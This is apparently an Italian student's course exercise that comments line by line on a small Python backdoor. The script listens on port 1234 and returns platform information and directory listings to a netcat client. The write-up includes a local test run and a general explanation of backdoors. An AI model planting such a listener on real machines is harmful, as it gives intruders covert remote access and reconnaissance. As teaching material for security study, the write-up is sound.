# Backdoor S3/L4

Manuel Di Gangi 8 febbraio 2024

**TRACCIA**

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor.

Inoltre spiegare cos'è una backdoor.

# Cosa fa il programma

Il programma mette in comunicazione due terminali permettendo lo scambio di pacchetti tramite l'utilizzo dei socket. Nello specifico si presuppone che il programma venga eseguito su una macchina infetta e si metta in ascolto tramite la porta designata in attesa che l'hacker la contatti per raccogliere informazioni sul sistema. La porta selezionata è la 1234 la quale è la porta più utilizzata su windows, insieme alla porta 1111, dai trojan: malware che si nascondono all'interno di altri programmi apparentemente innocui, che al momento dell'esecuzione avviano anche il codice malevolo.

Una volta importato il modulo socket, impostata la porta sulla quale rimanere in ascolto e creato l'oggetto socket il programma si mette in ascolto sulla rete per tutti gli indirizzi (in questo caso tutti gli IPv4 `socket.AF_INET`).
Tramite una serie di condizioni applicate ai pacchetti in entrata effettua le seguenti operazioni:

- Se l'input è '1': concatena in una stringa le informazioni relative alla piattaforma su cui gira l'applicativo e le informazioni sul tipo di macchina e le rimanda al client.
  - **platform.platform()** - restituisce una singola stringa che identifica la piattaforma sottostante con quante più informazioni utili possibili.
  - **platform.machine()** - restituisce il tipo di macchina, ad es. "AMD64"

- Se l'input è '2': riceve dei pacchetti in ingresso (stando ai comandi che seguono ipotizzo si tratti di una path), concatena in una stringa la lista di tutti i file e le directory contenute nel percorso prima citato e la rimanda al client.
  - **os.listdir** - viene utilizzato per ottenere l'elenco di tutti i file e le directory nella directory specificata. Se non specifichiamo alcuna directory, verrà restituito un elenco di file e directory nella directory di lavoro corrente.

  Qualora il risultato del comando precedente non sia valido restituisce un messaggio di errore "Wrong path"

- Se l'input è '0': chiude la connessione e si mette nuovamente in ascolto

Per metterci in contatto con il server utilizzeremo il comando netcat dal terminale di kali.

# Esecuzione

## Server

```
┌──(kali㉿kali)-[~/Documents/Python]
└─$ python backdoor.py
client connected:  ('127.0.0.1', 55116)
1
2
1
```

## Client

```
┌──(kali㉿kali)-[~]
└─$ netcat 127.0.0.1 1234
1
Linux-6.5.0-kali3-amd64-x86_64-with-glibc2.37 x86_642
root
Wrong path0
```

# Commento del codice

```
import socket, platform, os #Importo i moduli
SRV_ADDR = "" # tutti gli IP
SRV_PORT = 1234 #Porta in ascolto

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Creazione dell'oggetto
                                                        socket
s.bind((SRV_ADDR, SRV_PORT)) #Collego il socket all'indirizzo e alla porta scelti
s.listen(1) #Mi metto in ascolto e accetterò una sola connessione alla volta
connection, address = s.accept()
#connection: identificativo della comunicazione per lo scambio dei dati
#address: IP del client che si collegherà

print("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024) #Riceve i dati dal client
    except: continue

    if(data.decode('utf-8') == '1'):#decodifico il dato e se pacchetto intercettato è 1
        tosend = platform.platform() + " " + platform.machine() #concatena i risultati dei due
                                                                  metodi importati, in una stringa
        connection.sendall(tosend.encode())# invia la stringa a tutti i partecipanti della
                                             connessione in questo caso un solo client
    elif(data.decode('utf-8') =='2'):#decodifico il dato e se pacchetto intercettato è 2
        data = connection.recv(1024) #Riceve path in ingresso
        try:
            filelist = os.listdir(data.decode('utf-8')) #decodifico
            tosend = ""  #inizializzo una stringa vuota
            for x in filelist: #per ogni file in filelist concateno il contenuto aggiungendo a tosend
                tosend += "," + x
        except:
            tosend = "Wrong path" #Se il path è sbagliato segnalo il problema
            connection.sendall(tosend.encode()) #invio la stringa sopra creata
    elif(data.decode('utf-8') == '0'):#decodifico il dato e se pacchetto intercettato è 0...
        connection.close   #...chiudo la connessione corrente ...
        connection, address = s.accept() # ...e mi rimetto in ascolto
```

# Cos’è una backdoor

Una backdoor, letteralmente “porta sul retro”, è un metodo per aggirare la normale modalità di autenticazione in un sistema inforamatico. Questo metodo di accesso viene spesso utilizzato dagli amministratori per accedere da remoto a sistemi che non sono predisposti per tale funzione o perché le classiche modalità di login potrebbero risultare scomode durante le operazioni quotidiane.

In oltre il produttore di un sistema può includere un account predefinito per semplificare la configurazione, il test e la distribuzione degli aggiornamenti a un sistema.

Ciò nonostante, utenti che non hanno accesso ad account legittimi, possono utilizzarle per accedere ai sistemi aziendali, sfruttando o quelle create da utente autorizzati o in alternativa, se identificata una vulnerabilità che glielo consente, implementando la propria backdoor sul sistema. Con questo accesso remoto, possono rubare dati sensibili, distribuire ransomware, spyware o altri tipi di malware e intraprendere altre azioni dannose sul sistema.